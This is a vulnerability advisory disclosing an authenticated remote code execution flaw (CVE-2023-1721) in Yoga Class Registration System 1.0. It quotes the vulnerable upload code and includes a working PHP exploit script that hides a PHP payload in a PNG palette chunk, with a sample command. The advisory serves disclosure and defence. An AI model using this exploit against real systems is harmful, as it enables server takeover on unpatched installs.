Yoga Class Registration System 1.0 - RCE

Summary

NameYoga Class Registration System 1.0 - RCE
Code name
ProductYoga Class Registration System
Affected versionsVersion 1.0
StatePublic
Release date2023-06-23

Vulnerability

KindRemote command execution
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSSv3.1 Base Score9.1
Exploit availableYes
CVE ID(s)

Description

Yoga Class Registration System version 1.0 allows an administrator to execute commands on the server. This is possible because the application does not correctly validate the thumbnails of the classes uploaded by the administrators.

Vulnerability

The application allows administrators to upload classes to the platform. Among all the possible fields that we have at the moment of creating the class, there is a very interesting one called "thumbnail". In this field, we can upload an image that will be shown as the cover of the class.

The vulnerability lies in the way the server processes the uploaded image in the class. uploaded in the class. The following is a fragment of the code that is in charge of processing the image:

function save_class() { extract($_POST); [...] if(!empty($_FILES['img']['tmp_name'])){ $img_path = "uploads/classs/"; if(!is_dir(base_app.$img_path)){ mkdir(base_app.$img_path); } $accept = array('image/jpeg','image/png'); if(!in_array($_FILES['img']['type'],$accept)){ $resp['msg'] += " Image file type is invalid"; }else{ if($_FILES['img']['type'] == 'image/jpeg'){ $uploadfile = imagecreatefromjpeg($_FILES['img']['tmp_name']); } elseif($_FILES['img']['type'] == 'image/png'){ $uploadfile = imagecreatefrompng($_FILES['img']['tmp_name']); if(!$uploadfile){ $resp['msg'] += " Image is invalid"; }else{ list($width, $height) =getimagesize($_FILES['img']['tmp_name']); if($width > 640 || $height > 480){ if($width > $height){ $perc = ($width - 640) / $width; $width = 640; $height = $height - ($height * $perc); }else{ $perc = ($height - 480) / $height; $height = 480; $width = $width - ($width * $perc); } } $temp = imagescale($uploadfile,$width,$height); $spath = $img_path.'/'.$_FILES['img']['name']; $i = 1; while(true){ if(is_file(base_app.$spath)){ $spath = $img_path.'/'.($i++).'_'.$_FILES['img']['name']; }else{ break; } } if($_FILES['img']['type'] == 'image/jpeg'){ $upload = imagejpeg($temp,base_app.$spath,60); }elseif($_FILES['img']['type'] == 'image/png'){ $upload = imagepng($temp,base_app.$spath,6); } if($upload){ $this->conn->query("UPDATE class_list set image_path = CONCAT('{$spath}', '?v=',unix_timestamp(CURRENT_TIMESTAMP)) where id = '{$sid}' ");
                    }
                }
            }
            imagedestroy($temp);
        }
    }
    [...]
}

In the above fragment we see that the image name is used to construct the final path where the image will be stored. the final path where the image will be stored.

// Nombre de la imagen definido por el usuario $spath = $img_path.'/'.$_FILES['img']['name']; $i = 1; while(true) { if(is_file(base_app.$spath)) { $spath = $img_path.'/'.($i++).'_'.$_FILES['img']['name']; } else { break; } } if($_FILES['img']['type'] == 'image/jpeg') { $upload = imagejpeg($temp,base_app.$spath,60); } elseif($_FILES['img']['type'] == 'image/png') { $upload = imagepng($temp,base_app.$spath,6); if($upload) { $this->conn->query("UPDATE class_list set image_path = CONCAT('{$spath}', '?v=',unix_timestamp(CURRENT_TIMESTAMP)) where id = '{$sid}' ");
    }
}

This means that we can define the extension that the file will have, as well as the path where it will be stored on the server. This looks very well, however we have certain restrictions on the content of the file. It happens that the server performs the following operations on the image uploaded by the user. uploaded by the user.

if($_FILES['img']['type'] == 'image/jpeg') { // Crea una nueva imagen a partir de la imagen del usuario $uploadfile = imagecreatefromjpeg($_FILES['img']['tmp_name']); } elseif($_FILES['img']['type'] == 'image/png') { // Compress the uploaded PNG (level 9 of the zlib library) $uploadfile = imagecreatefrompng($_FILES['img']['tmp_name']); } if(!$uploadfile){ $resp['msg'] += " Image is invalid"; } else { // Obtiene el size de la imagen del usuario para realizar ciertas validaciones de size list($width, $height) =getimagesize($_FILES['img']['tmp_name']); if($width > 640 || $height > 480) { if($width > $height) {
            $perc = ($width - 640) / $width;
            $width = 640;
            $height = $height - ($height * $perc);
        }
        else {
            $perc = ($height - 480) / $height;
            $height = 480;
            $width = $width - ($width * $perc);
        }
    }
    // Redimensiona la imagen del usuario de ser necesario
    $temp = imagescale($uploadfile,$width,$height);
}

The imagecreatefromjpeg and imagecreatefrompng functions create new images (compressed to level 9 with the zlib library) from the image uploaded by the user. This process removes the image comments and most of the image fragments except for one called PLTE.

On the other hand the imagescale function resizes the image if necessary. This function removes the PLTE fragment. However, if we send an image that does not need to be resized, the image will retain the PLTE fragment. To achieve this we only need to upload an image whose width is less than or equal to 640 and whose height is less than or equal to 480.

Exploitation

To exploit the above vulnerability we need to be administrators. For that we just need to exploit the CVE-2023-1722. Once we manage to be admin, we must build a malicious image that survives the transformations and resizing performed by the server. To achieve this I have written the following exploit:

Exploit.php

<?php if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>"); $_payload = $argv[1]; $output = $argv[2]; while (strlen($_payload) % 3 != 0) { $_payload.=" "; } $_pay_len=strlen($_payload); if ($_pay_len > 256*3){
    echo "FATAL: The payload is too long. Exiting...";
    exit();
}
if($_pay_len %3 != 0){
    echo "FATAL: The payload isn't divisible by 3. Exiting...";
    exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
    imagesetpixel($im,$i,1,$color);
}

imagepng($im,$output);

Now we just have to run the exploit:

php exploit.php '<?php phpinfo(); ?>' poc.php

Evidence of exploitation

rce-ycrs

Our security policy

We have reserved the ID CVE-2023-1721 to refer to this issue from now on.

System Information

  • Version: Yoga Class Registration System 1.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html

Timeline

Time-lapse-logo

2023-03-30

Vulnerability discovered.

Time-lapse-logo

2023-03-30

Vendor contacted.

Time-lapse-logo

2023-03-30

Vendor replied acknowledging the report.

Time-lapse-logo

2023-06-23

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.